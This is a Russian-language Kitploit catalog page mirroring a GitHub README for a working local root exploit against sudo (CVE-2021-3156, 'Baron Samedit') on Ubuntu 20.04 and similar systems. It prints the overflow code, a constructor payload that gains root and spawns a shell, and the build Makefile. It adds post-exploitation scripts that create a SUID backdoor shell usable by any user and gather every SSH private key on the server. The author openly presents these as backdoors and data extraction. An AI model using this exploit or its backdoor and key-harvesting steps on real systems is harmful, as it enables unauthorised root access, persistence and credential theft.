Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PE_CVE-CVE-2021-3156 — Эксплойт для Ubuntu 20.04 с использованием CVE-2021-3156, дополненный скриптами пост-эксплуатации | Kitploit
Инструменты/GitHubGitHub/purpleozone/pe_cve-cve-2021-3156
Повышение привилегийАнализ уязвимостейЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubpurpleozone/pe_cve-cve-2021-3156

PE_CVE-CVE-2021-3156

Эксплойт для Ubuntu 20.04 с использованием CVE-2021-3156, дополненный скриптами пост-эксплуатации

713 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

PE_CVE-CVE-2021-3156

Эксплойт для Ubuntu 20.04, использующий CVE-2021-3156, дополнен простыми и автоматизированными скриптами для пост-эксплуатации

Помимо root-оболочки вы можете получить:

  • Файл .txt со всеми SSH-ключами id_rsa, настроенными на сервере. См. скрипт: get_all_ssh_keys.sh

  • Исполняемый файл privshell, позволяющий любому пользователю запустить root-оболочку (работаю над исправлением ошибки gcc). См. скрипт: create_privshell.sh

PoC для PE_CVE-CVE-2021-3156.

Требования

Для успешного результата необходимо, чтобы на целевой машине была одна из следующих версий ОС и Sudo:

  • Ubuntu 20.04 (Sudo 1.8.31)
  • Debian 10 (Sudo 1.8.27)
  • Fedora 33 (Sudo 1.9.2)

image

Чтобы сделать мою ВМ уязвимой, я понизил версию sudo с помощью следующей команды:

root@kitploit:~
$ sudo apt install sudo=1.8.31-1ubuntu1

Эксплойт

Эксплойт работает при условии, что доступ к целевой системе получен от имени пользователя без значительных привилегий.

image

Вы можете клонировать репозиторий на целевую машину или на свою локальную машину и загрузить его с помощью wget.

image

Выполните команду "make", чтобы скомпилировать .c-файлы в соответствии с уязвимостью. image

Вы получите файл эксплойта, поэтому вы можете запустить его с помощью "./". После запуска эксплойта мы можем увидеть два файла, созданные в репозитории: один содержит все SSH-ключи, зарегистрированные в системе, а другой содержит исполняемый файл SUID, предоставляющий root-сессию всем пользователям (выделено фиолетовым).

image

Вы можете увидеть ошибку, подобную следующей:

image

Я всё ещё пытаюсь решить эту ошибку, но предполагаю, что это связано с оболочкой, генерирующей эксплойт. Я попробовал запустить команду ./create_privshell.sh от root, переключившись через sudo su от пользователя с соответствующими правами, и компиляция скрипта прошла успешно. Альтернативно его можно скомпилировать на другой машине и скопировать на целевую, поэтому и существует запрос wget.

Скрипт для компиляции выглядит так:

root@kitploit:~
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell

Теперь вы можете прочитать .txt-файлы со всеми SSH-ключами и использовать privshell, пока я не исправлю ошибку gcc.

image

О CVE-2021-3156.

Обнаружена Qualys

Оценка CVSS: 7.8

CVE-2021-3156, также известная как уязвимость "Baron Samedit", — это уязвимость безопасности, затрагивающая широко используемую программу sudo в Unix-подобных операционных системах. Sudo — это программа, позволяющая пользователям выполнять команды с повышенными привилегиями, обычно путём ввода собственного пароля или пароля root. Уязвимость вызвана переполнением буфера в функции "sudoedit" команды sudo, которая позволяет пользователям редактировать файлы с повышенными привилегиями. Уязвимость была впервые обнаружена в январе 2021 года лабораторией Qualys Research Labs и затрагивает версии sudo от 1.8.2 до 1.8.31p2 и от 1.9.0 до 1.9.5p1.

###Очень-очень технические подробности Информация из: Qualys

image

image

image

Другими словами, set_cmnd() уязвима для переполнения буфера в куче, потому что выходные за границы символы, копируемые в буфер "user_args", не были учтены в его размере (вычисленном в строках 852–853).

Для части с переполнением я использовал файл exploit.c из redhawkeye/sudo-exploit.

Это немного сложно, но легко интерпретируется.

root@kitploit:~
 char *env[] = {
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "X/X",
        concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
        NULL
    };

Эта часть объявляет массив переменных окружения env, которые будут переданы системному вызову execve. Переменные окружения содержат серию обратных слешей и специально созданную переменную LC_ALL со значением "C.UTF-8@", объединённым с 208 (0xd0) символами A. Значение C.UTF-8@ будет передано как переменная окружения LC_ALL команде sudoedit. 208 символов A используются для переполнения буфера в программе sudoedit и выполнения произвольного кода.

root@kitploit:~
  char * a = concat(str_repeat('A', 0x70),"\\");
    char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
    execve(argv[0], argv, env);

Эта часть объявляет переменную a, содержащую строку из 112 (0x70) символов A, за которыми следует обратный слеш. Затем объявляется массив argv, который будет передан execve. Массив содержит путь к команде sudoedit (/usr/bin/sudoedit), флаг -s и созданную выше переменную a.

root@kitploit:~
  execve(argv[0], argv, env);

Это системный вызов execve, который фактически запускает команду sudoedit с предоставленными аргументами и переменными окружения. Программа sudoedit прочитает переменную окружения LC_ALL и попытается разобрать её как путь к файлу. Переполняющие символы A будут использованы для записи произвольных данных в память и потенциального выполнения произвольного кода.

Итак, эти данные в памяти, зарезервированные для RCE, будут использованы нашим файлом shell_tool.c.

root@kitploit:~
__attribute((constructor))
static void sice() {
    setuid(0);
    system("command");
    ...
    system("bash");

Эта часть кода объявляет функцию с именем sice с атрибутом attribute((constructor)), поэтому функция будет автоматически вызвана при запуске программы, до выполнения main(). Внутри функции sice вызывается функция setuid(0), которая устанавливает эффективный идентификатор пользователя процесса в 0, то есть идентификатор суперпользователя или root. Это фактически даёт программе root-привилегии. После этого, просто используя аргумент system("command"), мы можем делать всё, что угодно, до появления root-сессии в терминале. Именно поэтому я хотел попробовать написание скриптов, чтобы иметь бэкдоры и извлекать данные до получения root-оболочки.

Я попытался написать свою собственную версию кода, названную mybufferof.c, в основном она очень похожа, так что можете изменить Makefile, чтобы протестировать её, jeje.

О Makefile

root@kitploit:~
all:
	gcc bufferof.c -o exploit
	mkdir libnss_X
	gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2

Сначала нам нужно скомпилировать наш эксплойт, а затем создать каталог "libnss_X". Затем последняя команда компилирует файл shell_tool.c и создаёт файл общей библиотеки с именем X.so.2 в каталоге libnss_X:

Флаг -g генерирует отладочную информацию для файла общей библиотеки.

Флаг -fPIC генерирует позиционно-независимый код для общих объектов.

Флаг -shared указывает, что должен быть создан файл общей библиотеки.

Полученный файл общей библиотеки X.so.2 помещается в каталог libnss_X, созданный на втором шаге.

Это важно для данного CVE, вот почему:

image

Данные из:Qualys

На этом всё, наслаждайтесь, полагаю.

Скачать инструмент